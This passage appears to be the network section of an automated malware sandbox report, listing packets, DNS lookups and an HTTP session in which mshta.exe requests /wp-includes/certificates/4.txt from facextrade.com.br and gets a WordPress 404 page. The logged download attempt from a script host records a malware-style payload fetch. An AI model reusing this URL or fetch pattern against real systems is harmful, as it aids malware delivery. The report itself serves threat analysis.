                                                                                      Aug 16, 2022 11:39:51.368719101 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368727922 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.368742943 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368762970 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368799925 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.368837118 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368839025 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.368875980 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368879080 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.368916988 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368918896 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.368956089 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.368961096 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.368999004 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369061947 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369085073 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369098902 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369119883 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369127035 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369163990 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369167089 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369206905 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369237900 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369263887 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369275093 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369301081 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369323015 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369347095 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369362116 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369370937 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369385004 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369395018 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369407892 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369434118 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369479895 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369518042 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369518995 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369558096 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369596958 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369623899 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369640112 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369647026 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369664907 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369682074 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369750023 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369775057 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369792938 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369798899 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369811058 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369822979 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369837999 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369848013 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369858980 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369874954 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369888067 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369911909 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369945049 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369970083 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.369983912 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.369995117 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.370007038 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.370032072 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.370079041 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.370117903 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.370165110 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.370206118 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.370208979 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.370248079 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.411663055 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.545097113 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.545135021 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.545151949 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.545275927 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.545311928 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.550487041 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.632261038 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.632298946 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.632318020 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.632334948 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.632360935 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.638330936 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.768934011 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.768960953 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.768979073 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.768995047 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.769012928 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.769030094 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.769036055 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.769069910 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.769089937 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.769125938 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.769144058 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.769154072 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.769186974 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.769208908 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.774377108 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.856499910 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.856530905 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.856592894 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.856625080 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.866491079 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.992917061 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.992952108 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.992969990 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.992988110 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993005991 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993025064 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993026972 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993043900 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993062973 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993062973 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993069887 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993074894 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993081093 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993099928 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993118048 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993122101 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993135929 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993149042 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993165970 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993192911 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993202925 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993211031 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993232012 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993248940 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993267059 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993272066 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993284941 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993288994 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993316889 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993326902 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993334055 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993345022 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993376970 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993382931 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993391991 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993428946 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:51.993441105 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:51.993491888 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:52.080372095 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.080410957 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.080435038 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:52.080462933 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:52.212426901 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212465048 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212482929 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212501049 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212517023 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212532997 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212547064 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:52.212551117 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212567091 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:52.212587118 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:52.212609053 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:56.995872974 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:56.998653889 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:57.084830999 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:57.087402105 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:18.759248972 CEST4974980192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:41:18.759387016 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:41:18.759419918 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:18.759478092 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:18.776367903 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:41:18.776453018 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:41:18.778280973 CEST8049749142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:41:18.778348923 CEST4974980192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:41:19.226207018 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:19.226212978 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:19.913794994 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:19.913882017 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:21.226435900 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:21.226449013 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:23.726613998 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:23.728152037 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:28.727040052 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:41:28.728507996 CEST4978180192.168.2.3187.45.240.69

                                                                                      UDP Packets

                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                      Aug 16, 2022 11:39:28.300432920 CEST5772353192.168.2.38.8.8.8
                                                                                      Aug 16, 2022 11:39:28.335577965 CEST53577238.8.8.8192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.088382006 CEST5811653192.168.2.38.8.8.8
                                                                                      Aug 16, 2022 11:39:30.107913971 CEST53581168.8.8.8192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.270483017 CEST4987353192.168.2.38.8.8.8
                                                                                      Aug 16, 2022 11:39:30.297434092 CEST53498738.8.8.8192.168.2.3
                                                                                      Aug 16, 2022 11:39:48.034931898 CEST4932753192.168.2.38.8.8.8
                                                                                      Aug 16, 2022 11:39:48.054179907 CEST53493278.8.8.8192.168.2.3

                                                                                      DNS Queries

                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                      Aug 16, 2022 11:39:28.300432920 CEST192.168.2.38.8.8.80x1d8Standard query (0)facextrade.com.brA (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:30.088382006 CEST192.168.2.38.8.8.80x85d6Standard query (0)netdna.bootstrapcdn.comA (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:30.270483017 CEST192.168.2.38.8.8.80x442bStandard query (0)translate.google.comA (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:48.034931898 CEST192.168.2.38.8.8.80x8cf9Standard query (0)storage.ie6countdown.comA (IP address)IN (0x0001)

                                                                                      DNS Answers

                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                      Aug 16, 2022 11:39:28.335577965 CEST8.8.8.8192.168.2.30x1d8No error (0)facextrade.com.br187.45.240.69A (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:30.107913971 CEST8.8.8.8192.168.2.30x85d6No error (0)netdna.bootstrapcdn.com104.18.10.207A (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:30.107913971 CEST8.8.8.8192.168.2.30x85d6No error (0)netdna.bootstrapcdn.com104.18.11.207A (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:30.297434092 CEST8.8.8.8192.168.2.30x442bNo error (0)translate.google.comwww3.l.google.comCNAME (Canonical name)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:30.297434092 CEST8.8.8.8192.168.2.30x442bNo error (0)www3.l.google.com142.250.181.238A (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:47.323884010 CEST8.8.8.8192.168.2.30xbb47No error (0)gstaticadssl.l.google.com172.217.16.195A (IP address)IN (0x0001)
                                                                                      Aug 16, 2022 11:39:48.054179907 CEST8.8.8.8192.168.2.30x8cf9Name error (3)storage.ie6countdown.comnonenoneA (IP address)IN (0x0001)

                                                                                      HTTP Request Dependency Graph

                                                                                      • facextrade.com.br
                                                                                        • translate.google.com
                                                                                        • netdna.bootstrapcdn.com

                                                                                      HTTP Packets

                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      0192.168.2.349750142.250.181.238443C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      1192.168.2.349743187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:28.580512047 CEST1171OUTGET /wp-includes/certificates/4.txt HTTP/1.1
                                                                                      Accept: */*
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:30.015994072 CEST1172INHTTP/1.1 404 Not Found
                                                                                      Date: Tue, 16 Aug 2022 09:39:28 GMT
                                                                                      Server: Apache
                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                      Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                                                      Connection: close
                                                                                      Transfer-Encoding: chunked
                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                      Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68
                                                                                      Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
                                                                                      Aug 16, 2022 11:39:30.016047001 CEST1174INData Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65
                                                                                      Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
                                                                                      Aug 16, 2022 11:39:30.016084909 CEST1175INData Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74
                                                                                      Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
                                                                                      Aug 16, 2022 11:39:30.016119957 CEST1175INData Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65
                                                                                      Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
                                                                                      Aug 16, 2022 11:39:30.023946047 CEST1177INData Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61
                                                                                      Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
